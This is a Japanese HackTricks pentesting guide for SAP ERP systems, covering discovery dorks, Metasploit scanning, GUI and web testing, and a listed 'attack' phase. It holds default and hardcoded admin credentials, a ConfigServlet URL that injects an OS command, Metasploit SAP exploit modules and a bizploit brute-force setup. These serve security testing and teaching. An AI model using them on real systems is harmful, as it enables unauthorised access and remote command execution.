hacktricks/network-services-pentesting/pentesting-sap.md

26 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

SAPについてのイントロダクション

SAPは、データ処理におけるシステムアプリケーションと製品を意味します。定義上、SAPはERPエンタープライズリソースプランニングソフトウェアの名前であり、同時に会社の名前でもあります。 SAPシステムは、ビジネス管理のほぼすべての側面をカバーする完全に統合されたモジュールの数から構成されています。

各SAPインスタンスまたはSIDは、データベース、アプリケーション、プレゼンテーションの3つのレイヤーで構成されており、通常、開発、テスト、QA、本番の4つのインスタンスで構成されています。 これらのレイヤーはそれぞれある程度悪用される可能性がありますが、データベースを攻撃することで最も効果が得られます。

各SAPインスタンスはクライアントに分割されています。それぞれには、"root"に相当するアプリケーションのユーザーSAP*があります。 初期作成時、このユーザーSAP*はデフォルトパスワード「060719992」以下、さらにデフォルトパスワードを取得します。 テスト環境や開発環境でこれらのパスワードが変更されていないことに驚かされることがよくあります!

<SID>admというユーザー名を使用して、任意のサーバーのシェルにアクセスしようとします。 ブルートフォースが役立つことがありますが、アカウントロックアウトメカニズムが存在する可能性があります。

Discovery

次のセクションは、ユーザーshipcod3のhttps://github.com/shipcod3/mySapAdventuresからのものです!

  • テストのためのアプリケーションスコープまたはプログラムブリーフをチェックします。SAP GUIに接続するためのホスト名またはシステムインスタンスをメモしてください。
  • OSINTオープンソースインテリジェンス、Shodan、Google Dorksを使用して、アプリケーションがインターネット公開または公開されている場合にファイル、サブドメイン、および重要な情報をチェックします。
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

SAP ログオン画面

  • nmapを使用して開いているポートと既知のサービスsap routers, webdynpro, web services, web serversなどをチェックします。
  • ウェブサーバーが稼働している場合は、URLをクロールします。
  • 特定のポートでウェブサーバーがある場合は、ディレクトリをファズしますBurp Intruderを使用できます。SecLists Projectによって提供された以下の良いワードリストは、デフォルトのSAP ICMパスや他の興味深いディレクトリやファイルを見つけるのに役立ちます

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

  • SAPインスタンス/サービス/コンポーネントを列挙するために、MetasploitのSAP SERVICE DISCOVERY補助モジュールを使用します。
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Thick Client / SAP GUI のテスト

SAP GUI に接続するためのコマンドはこちらです sapgui <sap server hostname> <system number>

  • デフォルトの認証情報の確認 Bugcrowdの脆弱性評価分類において、これはP1と見なされます -> サーバーのセキュリティ設定ミス \| デフォルト認証情報の使用 \| 本番サーバー:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
  • Wiresharkを実行し、いくつかのクライアントがSSLなしで資格情報を送信するため、取得した資格情報を使用してクライアントSAP GUIに認証します。Wireshark用の2つの既知のプラグインがあり、SAP DIAGプロトコルによって使用される主要なヘッダーを解析できますSecureAuth LabsのSAP解析プラグインとPositive Research CenterのSAP DIAGプラグイン。
  • 低権限ユーザーのためのいくつかのSAPトランザクションコードtcodesを使用して権限昇格をチェックします
    • SU01 - ユーザーの作成とメンテナンス
    • SU01D - ユーザーの表示
    • SU10 - 一括メンテナンス
    • SU02 - プロファイルの手動作成
    • SM19 - セキュリティ監査 - 設定
    • SE84 - SAP R/3権限の情報システム
  • クライアントでシステムコマンドを実行したり、スクリプトを実行できるかどうかをチェックします。
  • BAPI ExplorerでXSSを実行できるかどうかをチェックします。

Webインターフェースのテスト

  • URLをクロールします発見フェーズを参照
  • 発見フェーズのようにURLをファズします。以下はhttp://SAP:50000/index.htmlの見た目です:

SAP Index Page

  • 一般的なWeb脆弱性OWASP Top 10を参照を探します。なぜなら、いくつかの場所にはXSS、RCE、XXEなどの脆弱性が存在するからです。
  • Web脆弱性のテストには、Jason Haddixの“The Bug Hunters Methodology”をチェックしてください。
  • 動詞の改ざんによる認証バイパス?もしかしたら:)
  • http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#を開き、「Choose」ボタンを押し、開いたウィンドウで「Search」を押します。SAPユーザーのリストが表示されるはずです脆弱性参照ERPSCAN-16-010)。
  • 資格情報はHTTP経由で送信されていますかもしそうなら、BugcrowdのVulnerability Rating Taxonomyに基づいてP3と見なされますBroken Authentication and Session Management | Weak Login Function Over HTTP。ヒントhttp://SAP:50000/startPageやログオンポータルもチェックしてください:)

SAP Start Page

  • 認証バイパスまたは可能なディレクトリリスティングのために/irj/go/km/navigation/を試してみてください。
  • http://SAP/sap/public/infoには興味深い情報が含まれています:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

攻撃!

  • 古いサーバーやWindows 2000のような古い技術で動作しているか確認してください。
  • 可能なエクスプロイト/攻撃を計画してください。SAPの発見補助モジュールとエクスプロイトのための多くのMetasploitモジュールがあります
msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
  • 既知のエクスプロイトを使用してみてくださいExploit-DBをチェックしてくださいまたは、SAPポータルの「SAP ConfigServlet Remote Code Execution」のような古くからある良い攻撃を試してみてください
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

SAP Config Servlet RCE

  • Discoveryフェーズでbizploitスクリプトのstartコマンドを実行する前に、脆弱性評価を行うために以下を追加することもできます:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

テストに役立つその他のツール

  • PowerSAP - sapセキュリティを評価するためのPowershellツール
  • Burp Suite - ディレクトリファジングとWebセキュリティ評価に必須
  • pysap - SAPネットワークプロトコルパケットを作成するためのPythonライブラリ
  • https://github.com/gelim/nmap-erpscan - nmapがSAP/ERPを検出するのを助ける

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら!

HackTricksをサポートする他の方法: